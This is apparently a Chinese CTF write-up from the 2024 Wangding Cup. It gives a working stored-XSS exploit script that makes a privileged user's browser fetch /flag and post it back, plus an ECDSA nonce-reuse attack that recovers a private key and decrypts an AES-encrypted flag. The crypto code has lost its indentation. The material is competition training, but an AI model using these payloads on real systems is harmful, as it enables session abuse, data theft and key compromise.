首页 > 其他分享 >网鼎杯

网鼎杯

时间:2024-10-30 18:59:09浏览次数:1  
标签:decrypted encrypted dA content flag key 网鼎杯

个人只做了一道web一道crypto

Web02

打开赛题环境地址,是登录界面,进去后获取hash值

用户名或密码随意

我们访问到的flag界面

**
**进去后这里有个输入框测试下可以进行xss

又根据/flag提示需要boss来访问这个路径,编写脚本构造payload进行访问,字符串编码下

import requests
import base64

url = "http://0192d7154c807e048cc77bde229d02d5.o3ow.dg07.ciihw.cn:44505/"
sess = requests.session()

def login():
    u = url + "login"
    data = {"username": "111", "password": "111"}
    r = sess.post(u, data).text
    parts = r.split("content_hash is ")
    if len(parts) > 1:
        hashcode = parts[1].split(" ")[0]
        return hashcode
    else:
        print("无法获取")
        return None

def send(u, content):
    data = {"content": content}
    sess.post(u, data)

def submit(hashcode):
    data = {"content_hash": hashcode}
    sess.post(url + "submit", data)

def attack(tar_url):
    hashcode = login()
    if hashcode is not None:
        content_url = url + "content/" + hashcode
        payload = """<script>
function encodeBase64(str) {
    return btoa(unescape(encodeURIComponent(str)));
}

var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
    if (xmlhttp.readyState == 4) {
        if (xmlhttp.status == 200) {
            var data = xmlhttp.responseText;
            var formData = "content={{{ " + encodeBase64(data) + " }}}";

            var postRequest = new XMLHttpRequest();
            postRequest.open("POST", '/content/""" + hashcode + """', true);
            postRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
            postRequest.send(formData);
        } else {
            console.error("请求失败,状态码:" + xmlhttp.status);
        }
    }
};
xmlhttp.open("GET", '""" + tar_url + """', true);
xmlhttp.send();
</script>"""
        send(content_url, payload)
        submit(hashcode)
        r = sess.get(content_url).text
        print(base64.b64decode(r.split('{{{')[2].split('}}}')[0]).decode('utf-8'))
    else:
        print("错误")
attack("/flag")

Crypto02

求k再求私钥dA

from Crypto.Util.number import inverse
def calculate_private_key(r, s, z, k, n):
# 计算 dA
dA = (s * k - z) * inverse(r, n) % n
return dA
def solve_k(r1, s1, z1, r2, s2, z2, n):
if r1 != r2:
raise ValueError("r1 and r2 must be equal for this calculation.")
# 计算 k
k = (z1 - z2) * inverse(s1 - s2, n) % n
return k
# 示例参数
r1 = r2 = 86806104739558095745988469033305523200538774705708894815836887970976487278764
s1 = 93400851884262731807098055393482657423555590196362184363643455285862566867372
s2 = 58741027521216057788923508334695668250013849866589902683641825341545919891746
z1 = 47591695289461307212638536234394543297527537576682980326526736956079807805586
z2 = 97911075901954715147720917205165523174582665086645698292621371632896283314804
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
# 计算 k
k = solve_k(r1, s1, z1, r2, s2, z2, n)
print("Calculated k:", k)
dA = calculate_private_key(r1, s1, z1, k, n)
print("Calculated private key dA:", dA)
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii
from hashlib import sha256
from Crypto.Util.number import long_to_bytes
def victory_decrypt(ciphertext, key):
key = key.upper()
key_length = len(key)
decrypted_text = '' for i, char in enumerate(ciphertext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
decrypted_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
decrypted_text += decrypted_char else:
decrypted_text += char return decrypted_text
k = 63798824842723164429892393608335531988404086411454158738633193887718671554477
dA = 113325324311290226461153848696856402570195717371047126863421346949577865198739 # 你
的 dA 值
victory_key = "WANGDINGCUP"
encrypted_flag_hex =
'86cd24e2914c0c4d9b87bea34005a98bd8587d14cae71909b917679d3328304e7915e6ba4cad1096faa4a85
bc52f8056d3f21ef09516be8a5160f1b338a6b936' # 提取 IV 和密文
encrypted_flag_bytes = binascii.unhexlify(encrypted_flag_hex)
iv = encrypted_flag_bytes[:16] # AES 块大小为 16 字节
encrypted_flag = encrypted_flag_bytes[16:]
# 计算 AES 密钥
key = sha256(long_to_bytes(dA)).digest()
# 解密
try:
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_encrypted_flag = unpad(cipher.decrypt(encrypted_flag), AES.block_size).decode('utf-8')
print("解密的 victory_encrypted_flag:", decrypted_encrypted_flag)
# 解密 flag
decrypted_flag = victory_decrypt(decrypted_encrypted_flag, victory_key)
print("解密出的 flag:", decrypted_flag)
except ValueError as e:
print("解密错误:", e)

标签:decrypted,encrypted,dA,content,flag,key,网鼎杯
From: https://www.cnblogs.com/1nnya/p/18516400

相关文章

  • 第四届“网鼎杯”网络安全大赛 - 青龙组
    CryptoCRYPTO012023年江苏省领航杯bd原题:题目:fromCrypto.Util.numberimport*fromsecretimportflagp=getPrime(512)q=getPrime(512)n=p*qd=getPrime(299)e=inverse(d,(p-1)*(q-1))m=bytes_to_long(flag)c=pow(m,e,n)hint1=p>>(512-70)......
  • 网鼎杯2024-青龙官方资格赛
    没必要看,只有最简单的题哎,尽力了,简单的都做不出来Cryptocrypto1fromCrypto.Util.numberimport*fromsecretimportflagp=getPrime(512)q=getPrime(512)n=p*qd=getPrime(299)e=inverse(d,(p-1)*(q-1))m=bytes_to_long(flag)c=pow(m,e,n)hint1......
  • 2024网鼎杯初赛-青龙组-WEB gxngxngxn
    WEB01开局随便随便输入都可以登录,登上去以后生成了一个token和一个session,一个是jwt一个是flask框架的这边先伪造jwt,是国外的原题CTFtime.org/DownUnderCTF2021(线上)/JWT/Writeup先生成两个token,然后利用rsa_sign2n工具来生成公钥python3jwt_forgery.pyeyJhbGciOi......
  • BUUCTF_2020网鼎杯[朱雀组]phpweb
    BUUCTF_2020网鼎杯[朱雀组]phpweb启动环境页面出现warning,并且发现页面存在自动刷新,使用burpsuite抓包:发现两个参数func和p并且发现页面中有2024-10-2403:55:59am,判断执行了date函数,根据func和p的形式猜测函数执行,func输入函数,p输入语句获取源代码:func=highlight_file&p=......
  • [随笔]网鼎杯大赛2024真题及赛前培训CTF
    欢迎你来这里,真题题目真没有。赛前培训可以到这里:https://vip.ctf.show/?invite=18742【赛前模拟】10月19日当天前往https://c.wangdingcup.com/#/login可以参加模拟训练。不过这届举办方真有意思,还得10月18日前完成报名的才可以参加。【猜测】官方公众号是10月17日下午......
  • [网鼎杯 2020 朱雀组]phpweb
    [网鼎杯2020朱雀组]phpweb进来的页面不对劲,虽然不知道什么梗但是有一说一确实丑,如果注意一下还会发现这个页面在不断刷新,先抓个包看看。发现这里上传了两个参数,分别是func和p。对两个参数与返回值进行分析,我们使用date时一般是这种格式:date("Y-m-d+h:i:s+a"),那我们可以猜测......
  • [网鼎杯 2020 朱雀组]phpweb
    仔细地话可以看到这题每个一段时间就会刷新一次页面,而且后面还会有一个时间,就很可疑,抓个包试试果然多了几个参数func=date&p=Y-m-d+h%3Ai%3As+a经过搜索发现这是一个函数(用来显示时间,也就证实了前面地图片为什么会出现时间地原因)于是试着就修改函数和参数来执行命令但是最......
  • 春秋云镜 网鼎杯2022半决赛
    现用fscan扫一下访问发现是个wordpress,wpscan一下版本为6.2.6,使用了twentytwentyonetheme后台弱密码admin/123456登录由于存在themefileeditor,因此可以写马随便找一个php文件,写入木马.使用蚁剑连接,路径之前wpscan给出来了.得到了第一个flagflag:flag{c0af2d0......
  • [网鼎杯 2018]Fakebook
    [网鼎杯2018]FakebookStep注册用户进入发现查看用户详情:/view.php?no=1尝试修改为2发现报错,可能是文件包含或者SQL注入于是尝试改成:/view.php?no=2'回显:[*]queryerror!(YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMariaDB......
  • [网鼎杯 2020 青龙组]AreUSerialz
    [网鼎杯2020青龙组]AreUSerialz源代码蛮多的,但是题目没有那么复杂题目<?phpinclude("flag.php");highlight_file(__FILE__);classFileHandler{protected$op;protected$filename;protected$content;function__construct(){$op=......